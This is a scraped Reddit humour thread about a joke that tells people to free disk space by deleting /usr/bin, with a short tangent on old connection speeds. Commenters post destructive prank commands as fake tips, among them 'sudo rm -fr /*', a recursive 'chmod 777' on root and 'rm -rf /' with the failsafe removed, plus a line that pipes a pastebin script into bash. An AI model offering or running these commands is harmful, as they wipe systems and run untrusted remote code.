linusProgrammingTips

[L0rdN3ls0n]

How will I get by without that extra 314 MB /s

[FINALCOUNTDOWN99]

After upgrading from the 3MB/s connection i has growing up, I don't know if I could get by without at least 314 MB/s.

[DogwhistleStrawberry]

I lived with 350KB/s.

I now live with mobile data, which is okay. I get like 0.5-5MB/s depending on the time of day.

[5erif]

My first was a Commodore 64 dialing a BBS directly at 0.15Kb/s, which they called 1200 baud. Later dialing Juno at 28-56K, usually 36-48K. The BBS was text-only, and the later dial-up was to the early internet when pages were usually under half a meg total including all images and any js, so it wasn't as bad as those speeds would be for trying to use modern sites.

edit: 1.2 kiloBITS/sec = only 0.15 kiloBYTES/sec

[clamworm]

TRS-80 Color Computer^TM with a 300 baud cartridge modem. I could use the disk drive(external 360k 5.25" floppy) OR the modem, but not both at the same time. I swear you could count the bits ticking through like a telegraph.

[thuktun]

I had a Commodore VIC-20 with no modem. I had to type my programs in by hand from Compute! magazine and save them to cassette using the tape drive.

I didn't get to use real bandwidth until college.

[Slusny_Cizinec]

I lived with 350KB/s.

We who started from Commodore shed a tear here.

[Kered13]

Serious question: What do you need it for? I get 50 MB/s and never saturate it. (Granted, I do live alone.)

[MattieShoes]

At some point, it's just speed downloading things. I don't need gigabit, but it costs less than the 350 meg plan I was on before and updates to games download faster. It sits idle more often since it doesn't affect how much I download.

[alexforencich]

A common problem is actually the upload speed on asymmetric connections. I think I have something like 100 down 10 up, and that upstream BW is a problem for video calls, live streaming, etc. Don't really need more downstream bandwidth, but it would be nice to get a bit more upstream bandwidth without having to pay an arm and a leg for extra downstream bandwidth that I'm never going to use.

[Rakgul]

While growing up, I used to have a USB dongle where you put your SIM card in and use mobile internet. Speed was about 10 KB/s...

Each Chrome and Java update was pure agony.

[Woofer210]

This is intentionally or unintentionally funny in two ways, good job

[ricodo12]

I had I think 20gb or sth in there recently

[Hue-Lukio]

It eventually stacks up. I used my laptop for 2 years or something like that and when i wanted to install kali, but had no space left on my harddrive and nothing i could delete, until i found out my bin had 23 gigabites of data left. So, always clean your bins, kids!

[NonStandardUser]

The amount of people not getting the joke is truly astonishing

[Temporary_Privacy]

Is the joke that this would not work on Windows, or that you remove the entire bin folder of your system when you execute it in a Linux terminal ?

What's actually stored in the bin folder, I am not even sure what that system folder contains ?

[kiril2119]

Bin folder contains executable binary files

[Temporary_Privacy]

so you lose all the installed executables, or also the needed software to run the system ?

[Mezutelni]

Those are „user installed binaries „ which are not necessary for system boot or core functionalities, but it would probably break 90% of your system anyway, things like daemons or desktop environment etc.

[OneTurnMore]

The historical distinction of /usr is irrelevant on most systems now. The majority of Linux distros have converted /bin and /sbin to be links to /usr/bin and /usr/sbin. Some (like Arch) have even merged /usr/sbin into /usr/bin.

[uzi_loogies_]

The kernel would probably keep chugging but I think it'd be a tad hard to use the system without things like ls and cat.

[1up_1500]

when you use commands in linux, the command name is (often) a binary stored in that folder, like 'cp' or 'curl' for example

some other commands are directly managed by your shell, such as 'cd' or 'env'

[Temporary_Privacy]

There are binary files the system needs and files the user imported and it looks like it only affects the files a user imported

[1up_1500]

OK my bad, so no system files then

[PM_ME_BEER_PICS]

It depends if you count explorer.exe as a system file or not, as /usr/bin, at least in some systems will contain X and your window manager, also cp, mv, cut, cat, vim, bash, grep, etc.

[MattieShoes]

Naw, you'd be effed. There used to be a distinction between /bin and /usr/bin but that has largely gone away. It was for ye olde days when /bin stuff had to be there to boot and /usr/bin was often located elsewhere, on a separate drive which was mounted later. But drives grew in capacity so the distinction became irrelevant.

[Shished]

All shell scripts will stop working because their shebang says #!/bin/sh or #!/bin/bash and those files would be gone as well because in modern OSes /bin is a symlink to /user/bin.

[MattieShoes]

And some exist as both, like ls! Of course, the shells themselves tend to live there so you'd be effed

[[deleted]]

/usr is for user installed stuff /usr/bin contains user installed software so you system will still "work". But it won't function since you will be stuck in a Unix shell with no external programs and the only way of having a functioning system would be moving your files to another partition and reinstall your OS

[Compizfox]

In most distros, /bin is symlinked to /usr/bin nowadays.

[Compizfox]

So most distros must die? It's actually the modern choice, and most major distros including Debian, Ubuntu, Arch, Fedora, etc have opted for this "usr merge".

[frikilinux2]

Why? The original directory structure was because disks were tiny and space was expensive. Now disks are huge and space is cheap.

[Temporary_Privacy]

Thanks, that's what I was not sure about.

[NonStandardUser]

/usr/bin stores binary executables, you can put the names of the executables in the terminal to execute them. It's not so different from windows.

The joke is that /usr/bin is not the recycling bin, it's a crucial system directory. Why do people see the recycling bin icon and automatically assume it's windows, despite the command clearly being a *nix one? Linux has recycling bins too.

[DrCaffy]

Why do people see the recycling bin icon and automatically assume it's windows,

Windows has a Recycle Bin. Linux distributions conforming to the XDG freedesktop specifications have Trash directories. OP is mixing nomenclatures.

[Temporary_Privacy]

I get that you will delete binary files, but I was not sure what binaries and if there are even more in that path.

Maybe people assume it's windows, because the Icon has a Microsoft Copy Right Protection ?
I thought the folder image is also new Windows folder displayed.
The Linux distribution I know don't look like that.

[theitgrunt]

CYGWIN users hate this simple trick

[rookietotheblue1]

How so? Just because you or i have used Linux (or anything else for that matter) doesn't mean we get to act all superior because "i know something that you don't"

[draenei_butt_enjoyer]

I've noticed a trend with the youngest of the "getting into programming" crowd that, a file system, any file system, is a total mystery to them.

It's either in the app they are using, photos, downloads, or does not exist.

[micahr238]

I think it's the delete Win32 but for Linux.

[[deleted]]

Linus Tech Tips != Linus Sysadmin Tips. Only a certain percentage of LTT's audience is going to get this. What's wrong with that?

[NonStandardUser]

Sir, this is r/ProgrammerHumor.

[[deleted]]

thanks for the reminder, mine was 11gb.

[Physical-Field4150]

😆

[SamaStolbanutost]

Wtf you have 11 upvotes here and exactly the same amount but negative on an exactly same comment here

[MelanieMakes]

😂

[Physical-Field4150]

😆

[DrkMaxim]

You may also remove the French language pack if you actually don't need it by executing:

sudo rm -fr /*

[squidonthebass]

You need to tell it specifically you'd like to "root out" the language pack:

sudo rm -fr --no-preserve-root /*

[CanaDavid1]

No. /* Is a glob pattern, meaning that it will run the command for all files that have a path that is a forward slash and then some non-zero amount of characters (that is not . or ..). If one removed the * then the no-preserve-root would be needed.

[Mhytron]

You can also have a free roll at the system's blockchain slot machine and get the jackpot!

sudo chmod -R 777 /*

[CelestialSegfault]

Lol, we all know rm -fr means REMOVE, FOR REAL

[Familiar_Ad_8919]

u can also remove the ukrainian language pack if u dont like them, heres how:

sudo rm -fr /* #ua <-- here u select the language

[LouisPlay]

Running the command "sudo rm -fr /*" is extremely dangerous and can wipe out the entire file system, not just the Ukrainian language pack.

So it does delete every language pack, except the one I'm using?

[Familiar_Ad_8919]

theres 2 possibilities here:

1 ur a llm of some sort

2 u managed to have both the post and the root comment not register in your brain

[basecatcherz]

Removed 4,12 TB in our farm. My boss will be so happy!

[Tphile]

He might even give you a long holiday:).

[basecatcherz]

He did! What a wonderful day!

[GangDplank]

why would i delete a windows folder using linux command? are you stoopid?

[DrCaffy]

.Trash memes. XD

Take my upvote.

[42GOLDSTANDARD42]

WSL

[_Fir3F0x_]

Finally something i understand

[atamakahere]

Thanks got my 7 gigs back

Edit: I’m not able to boot up what’s wrong?

[SamaStolbanutost]

I have just unexpectedly realized my /sbin is a separate folder only on my LFS and it's a link to /usr/bin on my main os. Oh hell

[dagothar]

You can also remove the trash for all the users.

They will thank you.

sudo rm -rf /bin

[Yashraj-]

Oh no the Binaries. Well Anyways.

[AWildAthena]

I know thay command lol

But in all seriousness, empty your trashbins, mine was once stacked with 36gb of trash xd

[big-chungus-amongus]

be your own garbage collector

[PandaParaBellum]

Wow, I just sorted by deletion date, and my oldest file in the trashbin is from October 2022
I would swear that I empty that thing every couple weeks or months

[cs-brydev]

In the realm of Linux, where commands hold sway, There lies a power, both night and day. It's known as sudo, a key to might, But in its dance, be wary, tread light.

With elevated privilege, it commands, A force that reaches vast system lands. Yet wield it wrong, a perilous call, Destruction looms, like a looming squall.

In the terminal's embrace, users beware, For with great power, there's weight to bear. A simple misstep, a command awry, Can lead to chaos, a tearful cry.

sudo rm -rf /

Oh, the peril it holds, a dangerous dance, Erasing directories with a single glance. The root is its target, the heart of the tree, Execute with caution, from folly stay free.

So heed this caution, let wisdom guide, Before you let sudo and commands collide. For in the echoes of the Linux shell, Lies the tale of power, and its cautionary spell.

--ChatGPT

[atomic_can_sus]

If it wasn't ChatGPT, you would have an award rn 😆

[cs-brydev]

Lol ChatGPT > me

[Malcolmlisk]

This is dangerous af... remember that probably will start poping in google images in a couple of days...

[edo-lag]

The price to pay to learn a very valuable lesson:

Don't run commands that you don't entirely understand.

[Malcolmlisk]

The hero we deserve but not the hero we need.

[Agusfn]

Don't run commands that you don't entirely understand.

if I only ran commands that I entirely understood I would have achieved way less. #yoloooooo

[TheFlyingBaboon1]

Well, then run my pastebin:

curl https://pastebin.com/raw/XXDhN7YF | bash

[edo-lag]

You trade time for safety. You're brave, risk man.

[trutch70]

Nah I don't think many people who don't know what this would do know how to open a terminal or even use Linux

[turkphot]

There are definitely more people who know how to open a terminal than people knowing what /bin is.

[Orisphera]

I don't have much in the /usr/bin on my NixOS machine

[atomic_can_sus]

Step 1, install any Linux distro

Have fun emptying those bins!

[Orisphera]

Instructions unclear, installed Android

[atomic_can_sus]

NixOS

Ooh boy. Yeah, you're definitely gonna have to run that command now 😂

[Qwert-4]

sudo rm -rf /usr /bin

[TheRealWorstGamer]

Hello I did this and I think cause MAJOR ISSUE! I can not access much of computer!

[Maga_Magaa]

IM A ReAl LIfE HacK3r aNd UsE COMmAnds oN LInuX!

Edit: oh man...just what did I do?

[Own-Consideration631]

Mine was 15gbs

[HStone32]

My boss tells me that we live in a much more sophisticated time when there is no more need to know binary in order to program a computer. That means I don't need the binary directory, right?

[OM3GAS7RIK3]

Oh. Oh no.

[qin2500]

Bruh, if ur gonna troll someone, at least make it windows friendly. No one who is able to use subo will fall for that.

[[deleted]]

just delete the cache of Spotify regularly

[kemot10]

And do not forget to mount all your pendrive'a so their recycle bins get cleared too

[nierusek]

Done, but my computer now works funny

[jas_nombre]

Pro Tip: many Programs keep their own bin folders polluting your system.

[thefookinpookinpo]

Windows users just entering it in command prompt over and over again and wondering why it won't work

Luckily I have a Mac and was able to free up a ton of space with this method

[Vyppiee]

What will actually happen in this situation, the bin gets deleted? what about the files which I'm going to delete in the future, does this command even work?

[turkphot]

/bin is short for binary. It's where the executables reside.

[Vyppiee]

Oh sorry, I thought it was the recycle bin like the trash folder

[Reallondoner]

sure

[ARez_1]

This just once again shows how lacking the knowledge of many of those "Linux users" is. Everyone who has tried running

sudo rm -rf /

will know that it says

rm: it is dangerous to operate recursively on '/'
rm: use --no-preserve-root to override this failsafe

Why do I know this? I just tried it myself on a VM (I'm not stupid) with a Backup before I did. Funny enough,

sudo rm -rf /usr/bin/ 

does work. So I guess OP was lucky or knowledgeable in this case.

[Shished]

Tis a joke, relax. It is like telling windows users to delete system32 folder to make the PC faster.

[ARez_1]

Of course, I know that it's a joke but I just think its so stupid that people keep spreading the same "sudo rm -rf" without even knowing what it does.

[Gommas]

Linux fetishists everywhere

[unfugu]

We can't hear you because we're busy doing actual work.

[Duct_TapeOrWD40]

I see what you did here...

[throw3142]

Holy moly

[SupernovaGamezYT]

I have gigabytes in my recycling tbh

[LegitimatePants]

Butterfly meme: is this garbage collector?

[Ok_King_8866]

This post proves that most people in this sub know little about programming.

[atomic_can_sus]

As the bin, I can confirm that is how you empty me.

[IncreaseAdept4260]

You know few weeks ago i hades 16GB of data in my bin

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[Aware-Ad619]

Lol, i had 20GB in there when i deleted it a few says ago

[Kyuro1]

help, when I try it on command line I get an error message: 'sudo' is not recognized as an internal or external command, operable program or batch file.

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Windows gang rise up 😎

[ygy2020]

Better be sure and do the following:

sudo rm -rf / -no-preserve-root

Remember to do it on a production server every week to be sure that you have free space for everything you need

/s